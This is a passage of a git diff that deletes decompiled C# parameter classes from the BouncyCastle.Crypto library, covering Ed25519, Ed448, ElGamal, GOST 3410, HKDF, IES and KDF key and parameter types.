ECDomainParameters.Validate(base.Parameters.Curve, q); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ECPublicKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(ECPublicKeyParameters other) - { - if (q.Equals(other.q)) - { - return Equals((ECKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return q.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519KeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519KeyGenerationParameters.cs deleted file mode 100644 index 094a9cc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519KeyGenerationParameters.cs +++ /dev/null @@ -1,11 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Ed25519KeyGenerationParameters : KeyGenerationParameters -{ - public Ed25519KeyGenerationParameters(SecureRandom random) - : base(random, 256) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519PrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519PrivateKeyParameters.cs deleted file mode 100644 index de2568e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519PrivateKeyParameters.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class Ed25519PrivateKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = Ed25519.SecretKeySize; - - public static readonly int SignatureSize = Ed25519.SignatureSize; - - private readonly byte[] data = new byte[KeySize]; - - public Ed25519PrivateKeyParameters(SecureRandom random) - : base(privateKey: true) - { - Ed25519.GeneratePrivateKey(random, data); - } - - public Ed25519PrivateKeyParameters(byte[] buf, int off) - : base(privateKey: true) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public Ed25519PrivateKeyParameters(Stream input) - : base(privateKey: true) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of Ed25519 private key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } - - public Ed25519PublicKeyParameters GeneratePublicKey() - { - byte[] array = new byte[Ed25519.PublicKeySize]; - Ed25519.GeneratePublicKey(data, 0, array, 0); - return new Ed25519PublicKeyParameters(array, 0); - } - - public void Sign(Ed25519.Algorithm algorithm, Ed25519PublicKeyParameters publicKey, byte[] ctx, byte[] msg, int msgOff, int msgLen, byte[] sig, int sigOff) - { - byte[] array = new byte[Ed25519.PublicKeySize]; - if (publicKey == null) - { - Ed25519.GeneratePublicKey(data, 0, array, 0); - } - else - { - publicKey.Encode(array, 0); - } - switch (algorithm) - { - case Ed25519.Algorithm.Ed25519: - if (ctx != null) - { - throw new ArgumentException("ctx"); - } - Ed25519.Sign(data, 0, array, 0, msg, msgOff, msgLen, sig, sigOff); - break; - case Ed25519.Algorithm.Ed25519ctx: - Ed25519.Sign(data, 0, array, 0, ctx, msg, msgOff, msgLen, sig, sigOff); - break; - case Ed25519.Algorithm.Ed25519ph: - if (Ed25519.PrehashSize != msgLen) - { - throw new ArgumentException("msgLen"); - } - Ed25519.SignPrehash(data, 0, array, 0, ctx, msg, msgOff, sig, sigOff); - break; - default: - throw new ArgumentException("algorithm"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519PublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519PublicKeyParameters.cs deleted file mode 100644 index f1daa20..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed25519PublicKeyParameters.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class Ed25519PublicKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = Ed25519.PublicKeySize; - - private readonly byte[] data = new byte[KeySize]; - - public Ed25519PublicKeyParameters(byte[] buf, int off) - : base(privateKey: false) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public Ed25519PublicKeyParameters(Stream input) - : base(privateKey: false) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of Ed25519 public key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448KeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448KeyGenerationParameters.cs deleted file mode 100644 index 8d7fc8a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448KeyGenerationParameters.cs +++ /dev/null @@ -1,11 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Ed448KeyGenerationParameters : KeyGenerationParameters -{ - public Ed448KeyGenerationParameters(SecureRandom random) - : base(random, 448) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448PrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448PrivateKeyParameters.cs deleted file mode 100644 index 6aef262..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448PrivateKeyParameters.cs +++ /dev/null @@ -1,83 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class Ed448PrivateKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = Ed448.SecretKeySize; - - public static readonly int SignatureSize = Ed448.SignatureSize; - - private readonly byte[] data = new byte[KeySize]; - - public Ed448PrivateKeyParameters(SecureRandom random) - : base(privateKey: true) - { - Ed448.GeneratePrivateKey(random, data); - } - - public Ed448PrivateKeyParameters(byte[] buf, int off) - : base(privateKey: true) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public Ed448PrivateKeyParameters(Stream input) - : base(privateKey: true) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of Ed448 private key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } - - public Ed448PublicKeyParameters GeneratePublicKey() - { - byte[] array = new byte[Ed448.PublicKeySize]; - Ed448.GeneratePublicKey(data, 0, array, 0); - return new Ed448PublicKeyParameters(array, 0); - } - - public void Sign(Ed448.Algorithm algorithm, Ed448PublicKeyParameters publicKey, byte[] ctx, byte[] msg, int msgOff, int msgLen, byte[] sig, int sigOff) - { - byte[] array = new byte[Ed448.PublicKeySize]; - if (publicKey == null) - { - Ed448.GeneratePublicKey(data, 0, array, 0); - } - else - { - publicKey.Encode(array, 0); - } - switch (algorithm) - { - case Ed448.Algorithm.Ed448: - Ed448.Sign(data, 0, array, 0, ctx, msg, msgOff, msgLen, sig, sigOff); - break; - case Ed448.Algorithm.Ed448ph: - if (Ed448.PrehashSize != msgLen) - { - throw new ArgumentException("msgLen"); - } - Ed448.SignPrehash(data, 0, array, 0, ctx, msg, msgOff, sig, sigOff); - break; - default: - throw new ArgumentException("algorithm"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448PublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448PublicKeyParameters.cs deleted file mode 100644 index 424f1f0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Ed448PublicKeyParameters.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public sealed class Ed448PublicKeyParameters : AsymmetricKeyParameter -{ - public static readonly int KeySize = Ed448.PublicKeySize; - - private readonly byte[] data = new byte[KeySize]; - - public Ed448PublicKeyParameters(byte[] buf, int off) - : base(privateKey: false) - { - Array.Copy(buf, off, data, 0, KeySize); - } - - public Ed448PublicKeyParameters(Stream input) - : base(privateKey: false) - { - if (KeySize != Streams.ReadFully(input, data)) - { - throw new EndOfStreamException("EOF encountered in middle of Ed448 public key"); - } - } - - public void Encode(byte[] buf, int off) - { - Array.Copy(data, 0, buf, off, KeySize); - } - - public byte[] GetEncoded() - { - return Arrays.Clone(data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalKeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalKeyGenerationParameters.cs deleted file mode 100644 index dc45263..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalKeyGenerationParameters.cs +++ /dev/null @@ -1,25 +0,0 @@ -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ElGamalKeyGenerationParameters : KeyGenerationParameters -{ - private readonly ElGamalParameters parameters; - - public ElGamalParameters Parameters => parameters; - - public ElGamalKeyGenerationParameters(SecureRandom random, ElGamalParameters parameters) - : base(random, GetStrength(parameters)) - { - this.parameters = parameters; - } - - internal static int GetStrength(ElGamalParameters parameters) - { - if (parameters.L == 0) - { - return parameters.P.BitLength; - } - return parameters.L; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalKeyParameters.cs deleted file mode 100644 index 121baa7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalKeyParameters.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ElGamalKeyParameters : AsymmetricKeyParameter -{ - private readonly ElGamalParameters parameters; - - public ElGamalParameters Parameters => parameters; - - protected ElGamalKeyParameters(bool isPrivate, ElGamalParameters parameters) - : base(isPrivate) - { - this.parameters = parameters; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ElGamalKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(ElGamalKeyParameters other) - { - if (object.Equals(parameters, other.parameters)) - { - return Equals((AsymmetricKeyParameter)other); - } - return false; - } - - public override int GetHashCode() - { - int num = base.GetHashCode(); - if (parameters != null) - { - num ^= parameters.GetHashCode(); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalParameters.cs deleted file mode 100644 index b3129b6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalParameters.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ElGamalParameters : ICipherParameters -{ - private readonly BigInteger p; - - private readonly BigInteger g; - - private readonly int l; - - public BigInteger P => p; - - public BigInteger G => g; - - public int L => l; - - public ElGamalParameters(BigInteger p, BigInteger g) - : this(p, g, 0) - { - } - - public ElGamalParameters(BigInteger p, BigInteger g, int l) - { - if (p == null) - { - throw new ArgumentNullException("p"); - } - if (g == null) - { - throw new ArgumentNullException("g"); - } - this.p = p; - this.g = g; - this.l = l; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ElGamalParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(ElGamalParameters other) - { - if (p.Equals(other.p) && g.Equals(other.g)) - { - return l == other.l; - } - return false; - } - - public override int GetHashCode() - { - return p.GetHashCode() ^ g.GetHashCode() ^ l; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalPrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalPrivateKeyParameters.cs deleted file mode 100644 index 0056950..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalPrivateKeyParameters.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ElGamalPrivateKeyParameters : ElGamalKeyParameters -{ - private readonly BigInteger x; - - public BigInteger X => x; - - public ElGamalPrivateKeyParameters(BigInteger x, ElGamalParameters parameters) - : base(isPrivate: true, parameters) - { - if (x == null) - { - throw new ArgumentNullException("x"); - } - this.x = x; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ElGamalPrivateKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(ElGamalPrivateKeyParameters other) - { - if (other.x.Equals(x)) - { - return Equals((ElGamalKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return x.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalPublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalPublicKeyParameters.cs deleted file mode 100644 index b9cd77e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/ElGamalPublicKeyParameters.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class ElGamalPublicKeyParameters : ElGamalKeyParameters -{ - private readonly BigInteger y; - - public BigInteger Y => y; - - public ElGamalPublicKeyParameters(BigInteger y, ElGamalParameters parameters) - : base(isPrivate: false, parameters) - { - if (y == null) - { - throw new ArgumentNullException("y"); - } - this.y = y; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is ElGamalPublicKeyParameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(ElGamalPublicKeyParameters other) - { - if (y.Equals(other.y)) - { - return Equals((ElGamalKeyParameters)other); - } - return false; - } - - public override int GetHashCode() - { - return y.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410KeyGenerationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410KeyGenerationParameters.cs deleted file mode 100644 index fa369a7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410KeyGenerationParameters.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Gost3410KeyGenerationParameters : KeyGenerationParameters -{ - private readonly Gost3410Parameters parameters; - - private readonly DerObjectIdentifier publicKeyParamSet; - - public Gost3410Parameters Parameters => parameters; - - public DerObjectIdentifier PublicKeyParamSet => publicKeyParamSet; - - public Gost3410KeyGenerationParameters(SecureRandom random, Gost3410Parameters parameters) - : base(random, parameters.P.BitLength - 1) - { - this.parameters = parameters; - } - - public Gost3410KeyGenerationParameters(SecureRandom random, DerObjectIdentifier publicKeyParamSet) - : this(random, LookupParameters(publicKeyParamSet)) - { - this.publicKeyParamSet = publicKeyParamSet; - } - - private static Gost3410Parameters LookupParameters(DerObjectIdentifier publicKeyParamSet) - { - if (publicKeyParamSet == null) - { - throw new ArgumentNullException("publicKeyParamSet"); - } - Gost3410ParamSetParameters byOid = Gost3410NamedParameters.GetByOid(publicKeyParamSet); - if (byOid == null) - { - throw new ArgumentException("OID is not a valid CryptoPro public key parameter set", "publicKeyParamSet"); - } - return new Gost3410Parameters(byOid.P, byOid.Q, byOid.A); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410KeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410KeyParameters.cs deleted file mode 100644 index 9b07f00..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410KeyParameters.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public abstract class Gost3410KeyParameters : AsymmetricKeyParameter -{ - private readonly Gost3410Parameters parameters; - - private readonly DerObjectIdentifier publicKeyParamSet; - - public Gost3410Parameters Parameters => parameters; - - public DerObjectIdentifier PublicKeyParamSet => publicKeyParamSet; - - protected Gost3410KeyParameters(bool isPrivate, Gost3410Parameters parameters) - : base(isPrivate) - { - this.parameters = parameters; - } - - protected Gost3410KeyParameters(bool isPrivate, DerObjectIdentifier publicKeyParamSet) - : base(isPrivate) - { - parameters = LookupParameters(publicKeyParamSet); - this.publicKeyParamSet = publicKeyParamSet; - } - - private static Gost3410Parameters LookupParameters(DerObjectIdentifier publicKeyParamSet) - { - if (publicKeyParamSet == null) - { - throw new ArgumentNullException("publicKeyParamSet"); - } - Gost3410ParamSetParameters byOid = Gost3410NamedParameters.GetByOid(publicKeyParamSet); - if (byOid == null) - { - throw new ArgumentException("OID is not a valid CryptoPro public key parameter set", "publicKeyParamSet"); - } - return new Gost3410Parameters(byOid.P, byOid.Q, byOid.A); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410Parameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410Parameters.cs deleted file mode 100644 index 526ea96..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410Parameters.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Gost3410Parameters : ICipherParameters -{ - private readonly BigInteger p; - - private readonly BigInteger q; - - private readonly BigInteger a; - - private readonly Gost3410ValidationParameters validation; - - public BigInteger P => p; - - public BigInteger Q => q; - - public BigInteger A => a; - - public Gost3410ValidationParameters ValidationParameters => validation; - - public Gost3410Parameters(BigInteger p, BigInteger q, BigInteger a) - : this(p, q, a, null) - { - } - - public Gost3410Parameters(BigInteger p, BigInteger q, BigInteger a, Gost3410ValidationParameters validation) - { - if (p == null) - { - throw new ArgumentNullException("p"); - } - if (q == null) - { - throw new ArgumentNullException("q"); - } - if (a == null) - { - throw new ArgumentNullException("a"); - } - this.p = p; - this.q = q; - this.a = a; - this.validation = validation; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is Gost3410Parameters other)) - { - return false; - } - return Equals(other); - } - - protected bool Equals(Gost3410Parameters other) - { - if (p.Equals(other.p) && q.Equals(other.q)) - { - return a.Equals(other.a); - } - return false; - } - - public override int GetHashCode() - { - return p.GetHashCode() ^ q.GetHashCode() ^ a.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410PrivateKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410PrivateKeyParameters.cs deleted file mode 100644 index 828ef7f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410PrivateKeyParameters.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Gost3410PrivateKeyParameters : Gost3410KeyParameters -{ - private readonly BigInteger x; - - public BigInteger X => x; - - public Gost3410PrivateKeyParameters(BigInteger x, Gost3410Parameters parameters) - : base(isPrivate: true, parameters) - { - if (x.SignValue < 1 || x.BitLength > 256 || x.CompareTo(base.Parameters.Q) >= 0) - { - throw new ArgumentException("Invalid x for GOST3410 private key", "x"); - } - this.x = x; - } - - public Gost3410PrivateKeyParameters(BigInteger x, DerObjectIdentifier publicKeyParamSet) - : base(isPrivate: true, publicKeyParamSet) - { - if (x.SignValue < 1 || x.BitLength > 256 || x.CompareTo(base.Parameters.Q) >= 0) - { - throw new ArgumentException("Invalid x for GOST3410 private key", "x"); - } - this.x = x; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410PublicKeyParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410PublicKeyParameters.cs deleted file mode 100644 index d438366..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410PublicKeyParameters.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Gost3410PublicKeyParameters : Gost3410KeyParameters -{ - private readonly BigInteger y; - - public BigInteger Y => y; - - public Gost3410PublicKeyParameters(BigInteger y, Gost3410Parameters parameters) - : base(isPrivate: false, parameters) - { - if (y.SignValue < 1 || y.CompareTo(base.Parameters.P) >= 0) - { - throw new ArgumentException("Invalid y for GOST3410 public key", "y"); - } - this.y = y; - } - - public Gost3410PublicKeyParameters(BigInteger y, DerObjectIdentifier publicKeyParamSet) - : base(isPrivate: false, publicKeyParamSet) - { - if (y.SignValue < 1 || y.CompareTo(base.Parameters.P) >= 0) - { - throw new ArgumentException("Invalid y for GOST3410 public key", "y"); - } - this.y = y; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410ValidationParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410ValidationParameters.cs deleted file mode 100644 index f174b36..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Gost3410ValidationParameters.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Gost3410ValidationParameters -{ - private int x0; - - private int c; - - private long x0L; - - private long cL; - - public int C => c; - - public int X0 => x0; - - public long CL => cL; - - public long X0L => x0L; - - public Gost3410ValidationParameters(int x0, int c) - { - this.x0 = x0; - this.c = c; - } - - public Gost3410ValidationParameters(long x0L, long cL) - { - this.x0L = x0L; - this.cL = cL; - } - - public override bool Equals(object obj) - { - if (obj is Gost3410ValidationParameters gost3410ValidationParameters && gost3410ValidationParameters.c == c && gost3410ValidationParameters.x0 == x0 && gost3410ValidationParameters.cL == cL) - { - return gost3410ValidationParameters.x0L == x0L; - } - return false; - } - - public override int GetHashCode() - { - return c.GetHashCode() ^ x0.GetHashCode() ^ cL.GetHashCode() ^ x0L.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/HkdfParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/HkdfParameters.cs deleted file mode 100644 index ef72421..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/HkdfParameters.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class HkdfParameters : IDerivationParameters -{ - private readonly byte[] ikm; - - private readonly bool skipExpand; - - private readonly byte[] salt; - - private readonly byte[] info; - - public virtual bool SkipExtract => skipExpand; - - private HkdfParameters(byte[] ikm, bool skip, byte[] salt, byte[] info) - { - if (ikm == null) - { - throw new ArgumentNullException("ikm"); - } - this.ikm = Arrays.Clone(ikm); - skipExpand = skip; - if (salt == null || salt.Length == 0) - { - this.salt = null; - } - else - { - this.salt = Arrays.Clone(salt); - } - if (info == null) - { - this.info = new byte[0]; - } - else - { - this.info = Arrays.Clone(info); - } - } - - public HkdfParameters(byte[] ikm, byte[] salt, byte[] info) - : this(ikm, skip: false, salt, info) - { - } - - public static HkdfParameters SkipExtractParameters(byte[] ikm, byte[] info) - { - return new HkdfParameters(ikm, skip: true, null, info); - } - - public static HkdfParameters DefaultParameters(byte[] ikm) - { - return new HkdfParameters(ikm, skip: false, null, null); - } - - public virtual byte[] GetIkm() - { - return Arrays.Clone(ikm); - } - - public virtual byte[] GetSalt() - { - return Arrays.Clone(salt); - } - - public virtual byte[] GetInfo() - { - return Arrays.Clone(info); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/IesParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/IesParameters.cs deleted file mode 100644 index cb8be28..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/IesParameters.cs +++ /dev/null @@ -1,29 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class IesParameters : ICipherParameters -{ - private byte[] derivation; - - private byte[] encoding; - - private int macKeySize; - - public int MacKeySize => macKeySize; - - public IesParameters(byte[] derivation, byte[] encoding, int macKeySize) - { - this.derivation = derivation; - this.encoding = encoding; - this.macKeySize = macKeySize; - } - - public byte[] GetDerivationV() - { - return derivation; - } - - public byte[] GetEncodingV() - { - return encoding; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/IesWithCipherParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/IesWithCipherParameters.cs deleted file mode 100644 index c0f5ad9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/IesWithCipherParameters.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class IesWithCipherParameters : IesParameters -{ - private int cipherKeySize; - - public int CipherKeySize => cipherKeySize; - - public IesWithCipherParameters(byte[] derivation, byte[] encoding, int macKeySize, int cipherKeySize) - : base(derivation, encoding, macKeySize) - { - this.cipherKeySize = cipherKeySize; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Iso18033KdfParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Iso18033KdfParameters.cs deleted file mode 100644 index 9db2b04..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/Iso18033KdfParameters.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class Iso18033KdfParameters : IDerivationParameters -{ - private byte[] seed; - - public Iso18033KdfParameters(byte[] seed) - { - this.seed = seed; - } - - public byte[] GetSeed() - { - return seed; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/KdfParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/KdfParameters.cs deleted file mode 100644 index 73dce03..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/KdfParameters.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Parameters; - -public class KdfParameters : IDerivationParameters -{ - private byte[] iv; - - private byte[] shared; - - public KdfParameters(byte[] shared, byte[] iv) - { - this.shared = shared; - this.iv = iv; - } - - public byte[] GetSharedSecret() - { - return shared; - } - - public byte[] GetIV() - { - return iv; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/KeyParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/KeyParameter.cs deleted file mode 100644 index 4bb8725..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Parameters/KeyParameter.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Parameters; - -public class KeyParameter : ICipherParameters -{ - private readonly byte[] key; - - public KeyParameter(byte[] key) - { - if (key == null) - { - throw new ArgumentNullException("key"); - } - this.key = (byte[])key.Clone(); - } - - public KeyParameter(byte[] key, int keyOff, int keyLen) - { - if (key == null) - { - throw new ArgumentNullException("key"); - } - if (keyOff < 0 || keyOff > key.Length) - { - 